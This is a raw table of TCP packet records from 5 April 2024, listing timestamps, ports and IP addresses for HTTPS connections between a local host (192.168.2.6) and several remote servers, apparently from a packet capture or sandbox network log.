Apr 5, 2024 20:10:30.988629103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.988652945 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.988682032 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.988688946 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.988696098 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.988713026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.988728046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.988785982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.988785982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.988791943 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.989721060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.989739895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.989768028 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.989775896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.989801884 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.990243912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.990288973 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.990297079 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.990333080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.992264986 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.992280960 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.992331982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.992341995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.992410898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.995153904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.995171070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.995240927 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.995240927 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.995249033 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.995289087 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.996539116 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.996556044 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.996589899 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.996597052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.996622086 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.996665001 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.998939991 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.998965979 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.998992920 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.998997927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.999011040 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.999026060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.999058008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.999062061 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.000497103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.000516891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.000544071 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.000551939 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.000577927 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.002665043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.002680063 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.002711058 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.002717972 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.002744913 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.004093885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.004126072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.004148006 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.004157066 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.004168987 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.005866051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.005878925 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.005913019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.005920887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.005943060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.006177902 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.006225109 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.006231070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.006268024 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.007320881 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.007335901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.007395029 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.007401943 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.007458925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.008306026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.008322001 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.008363962 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.008369923 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.008421898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.009156942 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.009171009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.009222984 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.009232044 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.009248972 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.009289026 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.009798050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.009814978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.009850979 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.009857893 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.009886980 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.009922981 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.009998083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.010065079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.010886908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.010902882 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.010940075 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.010955095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.010977030 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.011845112 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.011882067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.011885881 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.011894941 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.011930943 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.012450933 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.012826920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.012850046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.012917995 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.012923956 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.013592958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.013628006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.013657093 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.013662100 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.013684988 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.013730049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.013789892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.013797998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.013833046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.014839888 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.014854908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.014900923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.014909983 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.014950037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.014970064 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.015871048 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.015888929 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.015949011 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.015955925 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.016009092 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.016844988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.016860962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.016917944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.016925097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.016983986 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.017899036 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.017918110 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.017957926 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.017965078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.017996073 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.018043995 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.018090963 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.018132925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.019076109 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.019105911 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.019129992 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.019136906 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.019167900 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.020354986 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.020374060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.020407915 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.020416021 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.020466089 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.021708965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.021723032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.021756887 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.021764994 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.021796942 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.022438049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.022455931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.022484064 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.022490978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.022526979 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.022603035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.022648096 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.022654057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.022692919 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.023433924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.023478985 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.023502111 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.023507118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.023535013 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.023535013 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:31.023560047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.023598909 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.027657032 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.027833939 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.034368038 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:31.034378052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:32.261897087 CEST	443	49721	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:32.262012959 CEST	443	49721	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:32.262851000 CEST	49721	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:34.120351076 CEST	49721	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:34.120379925 CEST	443	49721	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:35.584938049 CEST	49729	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:35.584973097 CEST	443	49729	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:35.585091114 CEST	49729	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:35.585650921 CEST	49729	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:35.585664034 CEST	443	49729	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:36.060585976 CEST	443	49729	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:36.062520027 CEST	49729	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:36.080571890 CEST	49729	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:36.080590010 CEST	443	49729	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:36.080820084 CEST	443	49729	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:36.084604025 CEST	49729	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:36.084700108 CEST	49729	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:36.084707022 CEST	443	49729	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:36.084959984 CEST	49729	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:36.128240108 CEST	443	49729	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:36.240459919 CEST	443	49729	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:36.240529060 CEST	443	49729	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:36.240921021 CEST	49729	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:36.241755962 CEST	49729	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:36.241775036 CEST	443	49729	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:36.241802931 CEST	49729	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:37.372976065 CEST	49731	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.372982979 CEST	49732	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.373014927 CEST	443	49731	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.373044014 CEST	443	49732	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.373131037 CEST	49732	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.373131037 CEST	49731	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.374180079 CEST	49732	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.374196053 CEST	443	49732	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.374892950 CEST	49731	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.374907017 CEST	443	49731	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.689124107 CEST	443	49732	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.690232038 CEST	49732	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.690251112 CEST	443	49732	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.690609932 CEST	443	49732	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.691299915 CEST	49732	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.691299915 CEST	49732	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.691313028 CEST	443	49732	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.691370010 CEST	443	49732	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.698707104 CEST	443	49731	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.699017048 CEST	49731	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.699035883 CEST	443	49731	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.699369907 CEST	443	49731	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.699701071 CEST	49731	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.699765921 CEST	443	49731	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.735577106 CEST	49732	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.748946905 CEST	49731	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.993803978 CEST	443	49732	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.993889093 CEST	443	49732	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.993952990 CEST	443	49732	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.993978977 CEST	49732	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.994024992 CEST	49732	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.996668100 CEST	49732	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:37.996673107 CEST	49734	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:37.996685028 CEST	443	49732	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:37.996702909 CEST	443	49734	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:37.996869087 CEST	49734	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:37.997083902 CEST	49734	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:37.997098923 CEST	443	49734	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:38.013995886 CEST	443	49725	142.250.189.132	192.168.2.6
Apr 5, 2024 20:10:38.014041901 CEST	443	49725	142.250.189.132	192.168.2.6
Apr 5, 2024 20:10:38.014887094 CEST	49725	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:10:38.212100029 CEST	49705	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:38.212182999 CEST	49705	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:38.222481966 CEST	49736	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:38.222513914 CEST	443	49736	173.222.162.64	192.168.2.6
Apr 5, 2024 20:10:38.222608089 CEST	49736	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:38.272588015 CEST	49736	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:38.272602081 CEST	443	49736	173.222.162.64	192.168.2.6
Apr 5, 2024 20:10:38.305718899 CEST	443	49734	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:38.306031942 CEST	49734	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:38.306051016 CEST	443	49734	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:38.306391001 CEST	443	49734	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:38.308795929 CEST	49734	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:38.308860064 CEST	443	49734	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:38.309083939 CEST	49734	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:38.349036932 CEST	49734	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:38.349045038 CEST	443	49734	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:38.399189949 CEST	443	49705	173.222.162.64	192.168.2.6
Apr 5, 2024 20:10:38.399207115 CEST	443	49705	173.222.162.64	192.168.2.6
Apr 5, 2024 20:10:38.608850002 CEST	443	49734	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:38.608922005 CEST	443	49734	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:38.608969927 CEST	49734	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:38.609253883 CEST	49734	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:38.609266043 CEST	443	49734	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:38.659244061 CEST	443	49736	173.222.162.64	192.168.2.6
Apr 5, 2024 20:10:38.659317970 CEST	49736	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:39.312828064 CEST	49725	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:10:39.312841892 CEST	443	49725	142.250.189.132	192.168.2.6
Apr 5, 2024 20:10:42.851332903 CEST	443	49731	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:42.851413965 CEST	443	49731	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:42.851459026 CEST	49731	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:43.329912901 CEST	49731	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:43.329935074 CEST	443	49731	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:47.360563993 CEST	49738	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:47.360604048 CEST	443	49738	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:47.360980988 CEST	49738	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:47.362840891 CEST	49738	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:47.362864017 CEST	443	49738	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:47.838299036 CEST	443	49738	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:47.838378906 CEST	49738	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:47.841814995 CEST	49738	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:47.841824055 CEST	443	49738	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:47.842072010 CEST	443	49738	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:47.844197989 CEST	49738	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:47.844324112 CEST	49738	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:47.844329119 CEST	443	49738	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:47.844456911 CEST	49738	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:47.888242960 CEST	443	49738	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:47.999771118 CEST	443	49738	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:47.999897957 CEST	443	49738	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:48.000329018 CEST	49738	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:48.000329018 CEST	49738	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:48.000359058 CEST	443	49738	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:48.000381947 CEST	49738	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:57.840879917 CEST	443	49736	173.222.162.64	192.168.2.6
Apr 5, 2024 20:10:57.840977907 CEST	49736	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:11:04.945722103 CEST	49739	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:04.945781946 CEST	443	49739	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:04.945852041 CEST	49739	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:04.946660995 CEST	49739	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:04.946675062 CEST	443	49739	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:05.428086042 CEST	443	49739	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:05.428200006 CEST	49739	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:05.432332993 CEST	49739	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:05.432347059 CEST	443	49739	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:05.432605982 CEST	443	49739	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:05.435252905 CEST	49739	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:05.435303926 CEST	49739	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:05.435308933 CEST	443	49739	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:05.435481071 CEST	49739	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:05.476244926 CEST	443	49739	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:05.591597080 CEST	443	49739	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:05.591686010 CEST	443	49739	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:05.591845036 CEST	49739	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:05.593369007 CEST	49739	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:11:05.593393087 CEST	443	49739	20.25.241.18	192.168.2.6
Apr 5, 2024 20:11:07.571172953 CEST	49740	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.571193933 CEST	443	49740	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.571470022 CEST	49740	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.571784019 CEST	49741	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.571784973 CEST	49740	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.571794987 CEST	443	49740	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.571799040 CEST	443	49741	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.571943998 CEST	49741	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.572092056 CEST	49741	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.572108030 CEST	443	49741	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.850861073 CEST	443	49740	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.851635933 CEST	49740	443	192.168.2.6	104.21.35.10
Apr 5, 2024 20:11:07.851656914 CEST	443	49740	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.853034019 CEST	443	49741	104.21.35.10	192.168.2.6
Apr 5, 2024 20:11:07.853329897 CEST	49741	443	192.168.2.6	104.21.35.10
